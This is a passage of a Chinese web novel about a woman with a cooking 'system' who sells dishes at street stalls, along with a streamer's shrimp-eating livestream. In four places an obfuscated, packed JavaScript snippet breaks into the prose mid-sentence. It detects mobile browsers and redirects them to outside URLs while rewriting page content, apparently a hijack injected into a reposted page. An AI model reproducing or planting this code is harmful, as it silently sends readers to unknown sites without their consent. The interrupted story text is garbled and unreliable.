西门高把虾仁凑到镜头前,让观众们清楚的看到雪白的虾肉,也不知道是有意还是无意,那虾尾还挂着一小粒水珠,慢动作落下的瞬间几乎让所有的观众屏住了呼吸。 确定了,这就是他们的梦中情虾,他们命令这个虾仁立刻跳到他们的嘴里,最好再送他们两块金砖! 直播间的家人们正想象着虾仁的味道,突然幻想对象消失,面前突然出现一男的,啊呜一口把他们的梦中情虾吞进了肚子。 不——! 无数人伸出了尔康手,隔着屏幕发出了愤怒的吼叫,本来不急不缓的弹幕直接被简单的字句刷屏,偶然进入的路人还以为自己闯进了土拨鼠大军。 {啊啊啊啊啊——} {大碗你在做什么,给我停下来——} {有那么好吃吗?} {放开我的虾仁,那是我的,我再说一遍放开我的虾仁——} {虾宝啊,妈妈对不起你,让你被坏男人带走了呜呜呜——} {当然啊,你没看到主播好吃的身上都冒出圣光了吗,我爷信了一辈子的教,祈祷的时候都主播吃虾的眼神虔诚!} {上辈子,我因为不知道地址,只能看着主播吃下我的梦中情虾,这次我重生了,我一定会……} {有那么好吃吗,我看着也就一般般……呜呜呜主播求你寄过来吧,实在不行我给你跪下了。} {说了多少次不要在直播间读小说,所以你重生之后呢?} {主播手上的虾仁是看着好吃,它肯定是酸的!是苦的!} …… 直播间爆炸了,但西门高已经无暇顾及,他已经被虾仁的美味侵占思绪,也总算知道为什么会有人自称“红薯脑袋”,“土豆脑袋”,因为他已经飞速进化成了一个不折不扣的“虾仁脑袋”! 再看那一大碗虾仁,西门高已经没了肉痛……好吧还是有的,但更多大还是庆幸。 幸好他被粉丝架着买了这么多虾,不然就要错过这等美味了! 最后一点虾肉被虔诚的咽下去,西门高总算想起自己还在直播,假装打开手机看了眼,就“被”密密麻麻的弹幕吓了一跳。 他这是火了? 西门高不确定,但不妨碍他继续剥虾,这次的虾剥起来可就不是之前的漫不经心了,他小心翼翼的在虾头处动着,试图找到让虾头完美分离却只带走最少虾肉的角度。 这虾贵的他心里滴血,美味的让他舌头发颤,少吃一丝虾肉都会让西门高觉得自己吃了大亏。 一只虾剥离失败,虾仁进嘴,虾头放碗。 两只虾失败,进嘴放碗。 三只失败,进放。 四败。 五。 …… “成功了,看啊,家人们我做到了!” 尝试到第二十八只的时候,拧下来的虾头不带一丝虾肉,虾尾的一点点红尖完完整整,西门高激动的举起手上的虾仁,却只看到满屏的交出地址,他咳嗽了两声试图拖延,甚至玩起了抽象。 “我记得那话怎么说来着,九九成,稀罕物~” 玩梗是要付出代价的,试图耍小心眼的主播被聪明的观众一眼看穿,飞快的获得了“西门九千岁”的新称呼,没有直白的说出那两个字是家人们仅剩的心软,但如果西门高再不交出地址,他们只能直呼了。 “好了好了,我说就是了。” 意识到自己不能独占美味小摊,西门高在卖了几个关子后也没瞒着,爽快的给出了地址。 “摊子在昌南的扶河桥这边,想吃的家人们可以自己去买,贵是真的贵,但味道对得起价钱。” 地址都给出去了,福利自然是不可能放的,这些虾也就是看着多,其实他一个人就能解决掉,哪里还有其他人的份? 当然话不能直说,在脑子里加工修饰后,西门高的语言就变成了这样。 “我的粉丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223246|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是外省的吧,这虾吃的就是一个新鲜,主播也想给你们邮寄,但是到地方怎么着都得过夜,虾的味道肯定就不怎么样了。” 西门高一边说,一边无视了{我就是昌南人}之类的弹幕,故作不经意的把手机扣在了桌上,看着电视上飞快划过的弹幕,只觉得本就好吃的虾仁又加上了一层美味buff。 是的,西门高为了观看自己的直播效果,专门在桌子面前安了个电视,加大号的字体对视力特别友好,至于拿手机看弹幕什么的……人生如戏全靠演技。 最后一个虾仁吃到嘴里,西门高才重新开了手机,非常做作的惊呼一声。 “原来还有昌南的网友啊,你们早说嘛。” 直播间的家人们:就是说,一个人怎么能无耻到这种地步! 西门高跟网友插科打诨,琢磨着明天还得去一趟扶河桥,只不过这次不开直播还得做点伪装,省的真的碰上来找小摊的吃货。 虾能做成这种味道,贵就不是它的缺点,而是自己的缺点! *** 黎秋月哼着歌到了家,吃掉了自己炖好的鸭架汤,又从水里捞出臭豆腐,准备做个清炖臭豆腐。 这道菜是徐家学来的奇奇怪怪的菜品之一,但味道不差,主要是黎秋月凑减价买来的臭豆腐总算在不浪费油的情况下有了解决的方案。 臭豆腐已经在水里泡了几个小时,盐去到了能被接受的程度,黎秋月把它们放到深口碗中碾碎捣烂,发现勺子不听话的时候就放两勺麻油进去,搅动一下就变得容易起来。 做这道菜的时候要从食材开始注意,只有白色的臭豆腐,加入生抽和香油才会变成好看的浅黄色,炖出来会有好味道——重点是黎秋月只看过用白的,没见过家里用黑色的。 对于这种一个不对就很容易失败的食材,黎秋月向来墨守成规。 要是觉得浅黄色不好看,还可以加入酱油调色,黎秋月喜欢相对明亮的颜色,所以只放了一点蜂蜜搅匀提味,确定所有的食材都混合均匀,就可以上锅开蒸。 蒸字并不是错误的说法,黎秋月家里一直管这个叫清炖臭豆腐,据说别人就是这么叫的,小时候的黎秋月不知道缘由,直到上大学搞活动,有个人提到了他们的家乡方言,黎秋月才恍然大悟。 在苏州话中,大火猛蒸叫蒸,文火慢蒸叫炖。 昌南没这个说法,但从小到大的听着,黎秋月也习惯了。 搅匀的碗放到带水的大锅里开大火,等水沸以后转小火慢蒸,至少两刻钟后才能出锅。 跟重新放了鸭油胡椒黄瓜片,料酒麻油香菜末,吃起来香鲜酸辣的鸭架汤不同,清炖臭豆腐外形跟猪脑颇有几分相似,吃起来鲜嫩肥美,却没有多少恼人的油腻。 一整碗下肚,黎秋月用水漱漱口,拿了个南瓜饼结束今天的晚餐,便心满意足的上床睡觉,却不知道在昌南大学里,一个关于鸡爪摊主去哪里的帖子依旧顽强的挂在表白墙的首页,鲜红的爆字格外显眼。 41. 普洱红烧肉 周五的黎秋月依旧没能睡成懒觉,因为她约的家政服务上门了,在金钱和充足人手的帮助下,仅用了大半天的功夫,家里就变得闪闪发亮,个人用品也被归纳整齐。 收纳员信誓旦旦的保证,只要人不故意打开,就算是三五年,这些被归纳的个人用品再拆开依旧能保持原样,黎秋月决定相信他们一回。 整理的时候工作人员还从角落掏出了各种……物件?黎秋月也很难找到合适的形容词,但她还是挑了些还能正常使用的单独放到角落没,剩下的一起让收纳员带走了。 关上门再打量房子,黎秋月只觉得空旷又整洁,唯一的缺点是不太像住过一家人。 毕竟黎秋月除了自己买的东西,其他的基本都让收纳师收起来了,连床垫都被套袋子抽了真空,空荡荡的一张床上只铺着一张凉席,还有黎秋月网上采购的两床被子,一床垫一床盖。 送走这批人已经到了黄昏,黎秋月去采购了一批个人食材,去老店吃了碗肉丝蛋汤粉填肚子,便胡乱倒在床上睡着了。 这次她扎扎实实睡了个饱觉。 黎秋月从床上懒洋洋的爬起来,只觉得骨子里泛出来的疲乏总算消减不少,只是人也饿的不行。 肚里没食点不起火,索性摸了一条奶粉撕开,用热水瓶泡了喝下去,草草混个水饱,才进了厨房打开冰箱,琢磨起待会儿的正经吃食。 又结束了一次任务,就算不做什么大餐庆祝,至少也要荤素搭配菌汤俱全,黎秋月从不亏着自己的独生嘴,这是她做人的准则。 主菜是她前两天就心心念念的红烧肉,解冻的五花肉被焯了两次水去油腻,又在提前准备好的冰水里过一道保证口感,小香干一片片铺到砂锅底部,为了增加视觉观赏度,黎秋月还很有闲心的改了花刀。 切成方块的猪肉整齐的放到小香干上,纱袋用完了,肉又有点多,桂皮和八角只能见缝插针,下一步应该是倒酒炖煮,不能放一滴水,出锅才能入口即化,但黎秋月最近闻够了花雕的味道,准备换一种液体。 凑单买回来但喝不惯的熟普洱掰下一半,过两边水就有了琥珀的光泽,黎秋月把大杯的普洱茶倒进砂锅,加了生抽冰糖调味,开最小火慢慢炖着就不管了。 最重要的荤菜做好,黎秋月开始打汤,合格的厨师需要考虑到菜品的出锅时间,菌类和素菜都不需要多少功夫,红烧肉又是一个小时起步,黎秋月打算做个萝卜丝汆鲫鱼汤。 两条已经被杀好的鲫鱼两边打斜刀,萝卜切细丝在水里焯过后捞出,锅中倒油将鲫鱼煎到两面微黄,一壶开水直接倒进去,加葱姜去腥酱盐调味,旺火烧开改小火,焖煮三十分钟才能下萝卜丝出锅。 这道汤本来还应该撒一把豌豆尖,但黎秋月没买到,也就凑合着做了,奶白色的汤带着鱼类特有的鲜,焯水后的萝卜丝入口即化,黎秋月一边把自己烫抽抽了,一边手还是蠢蠢欲动。 汤忙完就得做菌菇,常见的菌子都是越新鲜越好吃,考虑到隔夜,黎秋月最后选择了风味被时间影响相对较小的海鲜菇。 海鲜菇的做法很简单,无非是洗干净以后焯水,然后跟自己喜欢的材料一起炒,盖上盖子焖煮一会儿就能出锅。 家里没有牛肉,黎秋月敲了三个鸡蛋进去当配料,再放上两个绿色的尖椒,色彩搭配看上去也不差,微辣带鲜的口感非常下饭。 一般只要是蔬菜都能归为素菜,但黎秋月决定今天短暂的把标准放高一点——素菜必须是叶子菜! 清炒空心菜叶,辣炒空心菜梗,一份食材两道菜,都是黎秋月爱吃的。 捣鼓完最后一道素菜,黎秋月揭开了砂锅锅盖用筷子戳戳肉。 砂锅里的五花肉的质感有些像果冻,黎秋月担心吃的时候会一夹就碎,但肉还没到出锅的时候,黎秋月把提前洗好的小葱弄成三两节丢进去,盖上盖子又焖了一刻钟左右,才戴着厚手套直接把砂锅端下火。 家里没有隔热垫,但大清理的时候摸出来一个蒲团,是路边扫码免费送的那种,尺寸和厚度都非常微妙,买回来以后就一直丢在柜子的角落,直到被黎秋月放到桌上。 完美匹配砂锅的隔热垫,还能反复多次使用! 普洱红烧肉,青椒鸡蛋海鲜菇,鲫鱼豆腐汤,清炒空心叶,豆蔻空心梗,加上冒着热气的东北米饭。 完美! 黎秋月甚至难得拍了张炫耀的照片。 【十五的月亮:我的午饭.jpg(四菜一汤)】 消息发过去也不等回应,黎秋月就开启了免打扰模式,悠哉的开始享受美味,一点没注意到绿信上蹦出来的一长串消息。 贺兰姐:…… 大扫除第一天,吃大餐第二天,最后一天休息的时候,黎秋月去看了下阿公阿婆,两个老人表现的依旧很冷淡,但黎秋月已经习惯了,确定二老一切都好后,就带着青菜骑上了小电驴。 青菜是阿公阿婆自己种的,嫩生生的青菜已经打过霜,妈妈喜欢清炒,但黎秋月更偏爱用个土鸡蛋打汤,加上几片新鲜猪肉别提多好吃。 回去的路上碰到有人卖卤菜,旁边的盆子唤醒了黎秋月有些久远的记忆,她试探性的问了一句,意外又不意外的发现盆里果然是梅菜扣肉。 “我自己来。” 拒绝了摊主帮忙的提议,黎秋月拿着长筷子捡了瘦多肥少的放进盒子,准备回去配着米饭吃。 称完重量付了账,摊主又舀了两勺咸菜一勺汤进盒子,黎秋月仗着自己买的多,让他又多放了一些咸菜。 别的地方的规矩怎么样黎秋月不知道,但在昌南这边买梅菜扣肉,一般是买肉送菜和汤。 到家的时候已经是下午两点,黎秋月饿了但懒得开火,索性烧了壶开水泡冷饭吃,配菜就是刚买回来的梅菜扣肉。 卖扣肉的老板挺实诚的,肉很新鲜,也舍得放调料,有些形容词说烂了但的确合适——肉肥而不腻瘦而不柴,浓油酱赤却不显腻口,本应该是配角的咸菜也相得益彰,一不小心就让黎秋月吃撑了。 黎秋月坐在椅子上消食,扣肉已经全进了肚子,梅菜却还有半碗的分量,她琢磨着回头可以用点肉丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14233658|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再把梅菜炒炒,虽然现在的梅菜味道不差,但黎秋月是个不折不扣的肉食动物。 吃饱喝足的黎秋月后知后觉的想起自己还没买东西,趁着自己现在还记得也没什么事情干,赶紧召唤了系统。 【打开系统商城,我要购买{面瘫修复膏}】 黎秋月懒得抬手,在心里用语音指挥,下一秒就听到了系统的回复。 【购买中……】 黎秋月的嘴角微微翘起,她的身体已经面瘫过两回了,扎针吃药红外线都上了,鼻子旁边嘴角上面就是有个地方不听使唤,冷风一吹半张脸都是僵硬的,弄得她夏天连冷饮都不敢放开了喝,现在可算是有救了。 等她回去,她要把夏天不敢吃而错过的西瓜统统补回来,一天一个! 从夏天吃到冬天! 还要吃雪糕! 【购买失败。】 黎秋月的笑容僵住了。 【原因?】 要是敢说这些东西都是假的,就别怪她采取措施了! 【未进行特殊任务,美味点的数量达到十以上,才能购买商品。】 系统的声音一板一眼,黎秋月的疑惑更多了。 【什么是特殊任务?】 系统解释了长长一串话,黎秋月在脑子里进行了简单总结——特殊任务就是指定时间地点售卖菜品的任务,购买每一件商品前都可以选择是否完成。 完成可以买商品,这个任务能够得到的美食点翻倍,完不成就只能等美食点超过十以后才能购买商品,但是没有其他的惩罚。 【所以这个规定的意义是什么?】 黎秋月很迷茫,系统没有回答。 特殊任务在休息的三天中随时可以选择开始,黎秋月还有几个小时用来考虑,一抹阳光顺着窗户跳到黎秋月面前的地板上,不自觉的吸引了她的注意力。 可能是老天爷的脾气发泄出来了,今天的阳光暖却不热,风也温柔,难得让黎秋月有了出门的兴致。 先不想了,去外面逛逛再说! 十五分钟后。 黎秋月呆滞的看着两人吵架,发誓再给她一次机会,她就算在家发霉,也绝不出门! “无骨鸡爪就是最好吃的!” “砂锅粥才是世界上最棒的食物!” 黎秋月看着争吵的越发激烈的两人,默默把自己缩的更小一点,但还是被牛夏柳和舒南琴看到,问出了那个死亡问题。 “小姐姐,你觉得无骨鸡爪好吃还是粥好喝?肯定是酸酸辣辣的无骨鸡爪吧!” “妹妹,这么冷的天你肯定想喝一碗热粥对吧?” 黎秋月缩了缩,又缩了缩。 好消息,今天她出来的时候没穿军大衣,而是换了运动装和球鞋,没见过她真面目的两个人都没把她认出来。 坏消息,她们都盯上自己了,一定要选自己从摆摊的两种食物种选一个出来。 更坏的消息,她摆摊的时候的确把自己包裹的很严实,但是没有装变声器,开口的话有很大可能会被认出来。 42. 口蘑豆腐粒 黎秋月保持沉默,两人都觉得是对方吓到了这位小姐姐/妹妹,说着说着就又吵了起来,黎秋月乘机脱离这个可怕的修罗场。 为了防止自己再遇上熟人,黎秋月脱离了吵架的圈子,就骑着小电驴一溜烟的往家跑,她的选择是正确的,因为在五分钟后,钟桐带着她的白月光土豆泥加入战场。 早起的鸟儿有虫吃,跑路的月亮有菇买! 在逃命的路上,黎秋月买到了一份蘑菇,不是视频博主常买的新鲜口蘑,而是穿线晾干的一串,做菜带香味的口蘑。 不过今晚还不能吃,得先泡发才行。 【宿主是否接受特殊任务?】 系统的提示音再次响起,黎秋月深吸口气点了头。 【接受。】 做什么菜都有学习空间在前面顶着,顶多就是难度高点花费的时间长点,出来有些迷茫今夕是何年罢了,怎么算都不亏! 【任务抽取中……】 【任务六(特殊):请宿主在下周每个工作日的早上八点,在昌南肿瘤医院门口的第三棵树下售卖蛋炒饭。】 任务出现,黎秋月也松了口气,她还以为自己会碰上卖鸡豆花宝塔肉之类的菜,蛋炒饭这不是有手就行?! 可能也就是时间和地点有些劣势了,毕竟谁家好人会在大早上吃蛋炒饭啊,医院对这种油腻的东西更是敬谢不敏! “系统,你是不是看了好多小说,觉得我售卖的美食跟主角们的普遍选择不一样,所以过来纠错的?” 心情一放松,黎秋月的嘴就有点不受控制,甚至开始调侃系统。 黎秋月以前就爱看小说,熟知各种套路,那种带着厨神系统的,十本有八本开局获得不用练习的神级厨艺,然后就开始卖超高价蛋炒饭或者茶叶蛋,都快成定律了。 还没等系统回复,黎秋月就被不耐烦的学习空间一把拽了进去。 学个东西都拖拖拉拉的,真不像话! 这次的黎秋月没那么好运,被分到了一个特别凶的蛋炒饭师父。 “米饭煮成这个鬼样子,你是要炒饭团吗!” “什么叫都是长米,这两个差别这么大,就像你跟你姐长得像,你跟你姐是一个人吗!” “炒炒炒,说了颠勺颠勺,你干啥呢,手被狗咬着动不了了?!” …… 师父教导的很用心,但黎秋月出学习空间的时候只觉得解脱。 一个人被三百六十度指出错误是一件很恐怖的事情,更恐怖的是你知道他说的是对的,更更更恐怖的是你一时半会儿根本没法改正,因为有些肌肉记忆需要时间调整。 而最恐怖的是,当你好不容易把这些错误都改正了,又会被三百六十度的指出另外的错误! 没有夸奖,没有鼓励,没有任何正面情绪的反馈,厨艺的提升也无法带给你喜悦,最重要的是没有任何消化情绪的时间,明明在里面没有任何生理需求,但黎秋月却觉得越来越呼吸不过来。 就像是根本看不到尽头的困难的任务清单,每一个任务完成以后都会告诉你有了一点关于身体各方面的奖励,但你自己看不出奖励在哪里,你以为自己做完了最后一个任务,抬头才发现不过是完成了第一页。 而最令你感到恐惧的,是根本不知道这些任务有多少页。 出了学习空间的黎秋月大口大口的呼吸着,她觉得自己应该在笑,但眼睛不断有液体渗出来,她拧着自己的大腿勉强走到镜子前,先被自己半哭半笑的扭曲表情吓了一跳,然后发现自己的嘴是张开的。 耳边的声音从模糊到清晰再到模糊,黎秋月扶着洗手台蹲下去,才意识到自己一直在尖叫。 黎秋月不知道这种状况持续了多久,只是当她再次获得身体的控制权的时候,她依旧蹲在洗手台前,眼睛睁不开,嗓子一点声音都发不出来。 她小心的活动着已经麻木的四肢,一点点把自己从坐姿挪成站姿,努力睁大眼睛去看镜子—— 好大的两个烂桃! 【系统,我今天申请不摆摊,我需要去看医生。】 眼睛的状态黎秋月很熟悉,她以前一个月总会碰上几次,但嗓子弄成这样还是头一回,她一定得去医院做个检查,不然原主回来发现自己成了哑巴那就完蛋了! 【检测中……检测完毕,申请通过。】 系统很好说话,黎秋月一边准备出门,一边不间断的对学习空间进行投诉,之前的老师都非常懂得变通,哪怕是最毒舌的那个也会给黎秋月调整和休息的时间,黎秋月也就一直没想过改变,直到现在…… 系统那边的反应很快,黎秋月洗脸刷牙换个衣服的功夫,学习空间便有了补充规则。 规则一,学习空间可以在学习的时候暂时离开,但一道菜最多只能离开三次,而且要在摆摊前学习完毕。 规则二,学习空间的老师可以更换,但一道菜只有一个换老师的机会。 系统的规则是很长的两段话,但多数是免责申明和特殊情况说明,这是黎秋月给自己做的简单总结。 今天的天气有些阴沉沉的,黎秋月前脚进医院,雨后脚就下来了,好在小电驴被停到了棚子里,黎秋月不用冒雨过去给电动车披雨衣。 挂了号做了检查,最糟糕的事情没有发生,大夫只是叮嘱多敷敷眼睛,嗓子一个星期不要说话,连药都没开就让黎秋月走人。 黎秋月高兴的出了医院,雨来得快去的也快,天上的乌云已经逐渐散了,太阳露出半个脑袋。 黎秋月买了些眼贴回家,本来想直接躺床,结果肚子一叫腿一软,她险些跌倒在地。 得,还得先捣鼓点吃的。 这身体本来就是饿不得的性子,剧烈的情绪又最消耗体力,能挺到现在已经是格外的坚强。 现在这状况也做不了太复杂的菜,饥饿感也逼得黎秋月没法仔细思考,索性先做碗蒸蛋羹填肚子。 打两个鸡蛋搅匀,点两滴香油进去再加点水,蒸碗上面放个盖子,放到冷水的电饭煲里,出锅的水蒸蛋就会跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14235500|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉石表面一样光滑,吃起来香软嫩一个不少。 有了蛋羹打底,黎秋月努力睁大眼睛在厨房继续转悠,想找到一点合适的食材,然后就看到昨天泡上的口蘑。 很好,就你了! 黎秋月把口蘑买回家以后就用开水泡上,现在也发的差不多,但在下锅之前还有个步骤,就是把菌褶上的沙子洗出来,不然吃着牙齿遭难。 洗沙也有关窍,最重要的一点就是不能用手搓洗,好在汪老先生的书里早已指明关窍,黎秋月用漏勺把泡涨的口蘑捞到放满清水的大碗里,然后用筷子跟打鸡蛋一样反复搅打,泥沙便会自然沉底。 洗一次口蘑要换三四次水,搅打上千次筷子,这个工作量说多不多说少不少,总之在换第二次的水的时候黎秋月就借助了科技的力量,用打蛋器代替自己的手动操作。 效果也不差。 摘掉口蘑的泥根,黎秋月用切菜神器把口蘑推成细丝又切成碎粒,终于在脑袋里找到了一个合适的食谱。 口蘑要重油大荤才好吃,口蘑炖羊肉哨子是名菜,但目前的黎秋月没那个精力,她现在能做的只有口蘑煨豆腐,用荤油荤汤小火慢炖,透进油的口蘑粒入口润滑,吃一个就再也忘不了。 她的嗓子现在一动就疼,别说发出声音,就是咀嚼都会传来细密的疼痛,口蘑粒和豆腐粒都小,不用咀嚼就能直接吞咽,对现在的黎秋月非常友好。 水蒸蛋已经好了,黎秋月端出来尝了一口,觉得味道有些淡,加了两滴酱油搅合搅合……嗯,味道对了! 嫩嫩的鸡蛋羹被搅碎后直接滑进喉咙,连吞咽的动作都省了不少,让黎秋月不由感叹自己的明智。 吃完鸡蛋羹,口蘑豆腐粒也好的差不多了,黎秋月打开从外面买的白粥袋子,用来配混合的鲜香小颗粒,把空荡荡的胃填了个满满当当。 就是有点可惜,这些口蘑黎秋月本来是准备整个炖鸭腿的,现在只能切碎了配豆腐。 吃饱喝足,上床休息,黎秋月已经连眼睛都有些睁不开了,但还有一点准备工作没有结束。 黎秋月把粥灌到带软管的保温杯里,躺在床上试验了几次,确定自己一歪头就能喝到,才给自己设了依次响起的八个闹钟,一歪脑袋睡着了。 这一睡就睡了个快一天一夜,保温杯地里面的粥喝了个干净,除了中途上厕所,黎秋月根本没起来过。 充分休息的效果也是显著的,当黎秋月被七点整的闹钟叫醒的时候,眼睛上的肿已经消掉不少,嗓子虽然还是不能说话,但轻微的咀嚼动作已经没什么感觉了。 身体好了,摆摊自然要正常进行,她家离肿瘤医院五公里,又是早高峰,至少要留出四十分钟的通勤时间。 时间紧任务重,黎秋月匆匆蒸上了一锅米饭,又手忙脚乱的去洗漱,采购食材肯定是来不及了,黎秋月只能用冰箱里的鸡蛋暂时充数,又把厨房的调料盒子和外面的胶带等零碎往袋子里一塞,凑活着上了三轮车。 招牌只能过去再写了。 43. 蛋炒饭 七点五十九,肿瘤医院的第三棵树下,一个小摊支棱了起来,来往的人不少,却没有谁停下脚步,主要是摊子看着实在是有些……朴素。 白纸上的价钱是现场写了贴到电饭煲上的,米饭是刚刚做好还没有分装的,连调料都是用家里调料盒装着……整个摊子除了干净没有任何优点就算了,这个从头到脚都写着不正规的小摊还明晃晃的宰客。 这一片的物价都有默契,不管是摆摊开始开店,蛋炒饭统一都是八块,额外加肉炒就是十块,当然商场里要更贵一些,毕竟各方面的成本要更高一点,大家也能理解。 但这个小摊呢? 【蛋炒饭】【12元一份】 那个数字还特意被写的很大,生怕有人看不清。 好吧,摊子除了干净还有另一个优点——摊主宰客不耍心眼,都是太公钓鱼愿者上钩。 没人来买蛋炒饭,黎秋月也乐得清闲,她一边在手机上跟贺兰姐绿信聊天,一边打算明天换了土鸡蛋再提个价。 最后两颗土鸡蛋昨天蒸蛋的时候用完了,现在的鸡蛋是从顺路的小商店买的。 【十五的月亮:蛋炒饭要怎么送啊,真不行。】 【吃喝玩乐:为什么你要卖蛋!炒!饭!】 【十五的月亮:……这也不是我能决定的啊。】 【吃喝玩乐:哭泣表情包.jpg】 …… 放下手机,黎秋月有些头疼的揉揉太阳穴。 好消息,贺兰姐不打算让蛋炒饭做飞机再进微波炉了。 坏消息,贺兰姐已经定了机票,准备过来吃刚出锅的蛋炒饭。 这都什么事儿啊! 黎秋月也不知道事情是怎么发展成这样的,但她果断决定把烦恼交给以后的自己,现在的她有点饿,想找点吃食填肚子。 左边摆摊是卖粉的,但没有花生米的粉没有灵魂,排除。 右边摆摊卖包子,兼卖豆浆油条营养粥,那个油条的大小和形状整整齐齐,一看就是预制菜,排除。 再旁边是一家卖葱油饼的,闻着味道还不错,但那个好人会往油饼里放大蒜啊,这个搭配黎秋月是真吃不来! 左看右看,再翻翻外卖平台,黎秋月最后将目光移向摊子上的电饭煲—— 要不做个蛋炒饭试试? 黎秋月用饭勺翻开电饭煲里的米饭,确定一路吹着风已经凉透了,便开了煤气打着火,油壶一倒锅一转,等到烟气飘出来,黎秋月就磕了两个蛋下去。 她买鸡蛋是按照饭的分量来的,总共才四个。 本来应该是一份米饭一个鸡蛋,但摊主觉得不能亏待了自己,便多占了一个鸡蛋名额,并决定待会儿只卖两份蛋炒饭。 如果有客人的话。 鸡蛋炒好捞出来,再舀了一勺葱花进去爆香,然后趁着热锅冷饭将米饭放进去翻炒,成团成块的饭在锅里也不用急着铲,等米饭多受点热再用铲子压一压,团块的米饭就会松散成粒。 黎秋月一下一下的耐心翻炒,锅里的米饭逐渐发出细微的爆响,这个动静是来自食物的提醒,告诉人类米饭已经炒透,于是黎秋月把鸡蛋放下去,又翻炒了好一会儿才出锅。 没有所谓惊天动地的香味,也没有仿佛在发光的外观,一次性盒子里装着的蛋炒饭跟外面摆摊的差不了多少,非要说有什么区别,就是颜色要更浅淡一些。 这是黎秋月口轻,没在炒饭里放生抽酱油。 舀一口蛋炒饭进嘴巴,黎秋月的眼睛一下就亮了! 米饭虽然放着的时间有点短,却润而不腻,透不浮油,鸡蛋老嫩适中,鲜香可口,就连时不时出现的葱末都没有生葱的气息,只让蛋炒饭缠绕着丝丝缕缕的葱香,让本就出色的味道更上一层楼。 她没白受苦啊! 黎秋月吃完一份蛋炒饭,又打开保温杯喝了几口汤,就继续玩手机去了顺便等客。 生活终究不是小说,黎秋月不是每次都能靠着美食的味道吸引食客,至少这次从头到尾都没有人在她的摊前驻足。 从早上八点到下午两点,黎秋月的摊子上依旧有两个鸡蛋,旁边的小摊已经换了一拨人,她的对外销售额依旧是个可怜的鸭蛋。 不过黎秋月也不在意,等时间从1:59跳到两点整,她立马收拾东西骑上三轮消失在了众人的视线中。 她得去买点土鸡蛋,不打药的小葱,大米也要再买一点,电饭煲里的已经是家里最后的存货了。 话说回来,这还是她第一次没卖出去东西。 就像捏着购物清单去超市不会只买清单上的东西,黎秋月进了菜市场,也没控制住自己消费的手,都说厨师看到好食材就走不动路,她虽然还算不上正经厨子,却已经有了这个趋势。 孤零零一个人进去,手上满满当当的出来,黎秋月上车也没急着拧把手,刷了刷手机微信,就看到兼职群里蹦出来一个临时任务。 【AAAA兼职小王:看羽毛球决赛充场,下午四点到六点,15/时。有意者私。】 【AAAA兼职小王:{地址分享}】 黎秋月手比脑子快的点开地图,确定位置离她只有一公里,果断戳了中介报名。 虽然时间短报酬也一般般,但胜在是纯绿色的充场兼职啊,只要坐在那里玩两个小时的手机就能拿钱,黎秋月上辈子基本没碰上过这种好事。 把手一转小电驴一拧,动身! 【这种比赛为什么要叫充场?消息发出去根本不愁上座率的好嘛!】 黎秋月目瞪口呆的坐在椅子上,两边都是男的也不好搭话,只能在心里问系统。 非智能系统对于任务之外的事情一向不回答,黎秋月的脑海中只有沉默,不过她也不在意,这个问题主要是表达她的惊讶之情,至于诉说的对象并不重要。 所以为什么羽毛球是用脚踢的啊,难道这项活动不是用羽毛球拍的吗?! 黎秋月看着场上的羽毛球跟毽子一样轻巧,跟排球一样高飞,跟足球一样射出,跟篮球一样在地上蹦跶一下,然后被眼疾手快的比赛人员趁着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14245611|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹起来的瞬间踢出去,整个人都是恍惚的。 羽毛球是这么运动的吗? 比拼进行的很快,淘汰的性别有男也有女,但最后的决赛是双雌争霸,三十多岁扎着高马尾的姐姐获得胜利,戴着运动发带的圆脸女生以一球之差落败,成为亚军。 胜负已分,座位上的人纷纷起身往外走,黎秋月随大流出了门,顺手扫了一眼时间,刚好六点差一刻,希望小王别扣她兼职钱。 “来一份蛋炒饭。” 黎秋月坐在车上玩手机,准备等人走的差不多了再发动车,冷不防就听到一个声音,她动了动耳朵没放在心上,结果那个声音又响了起来。 “那个穿着黑色外套的美女,我要一份蛋炒饭。” 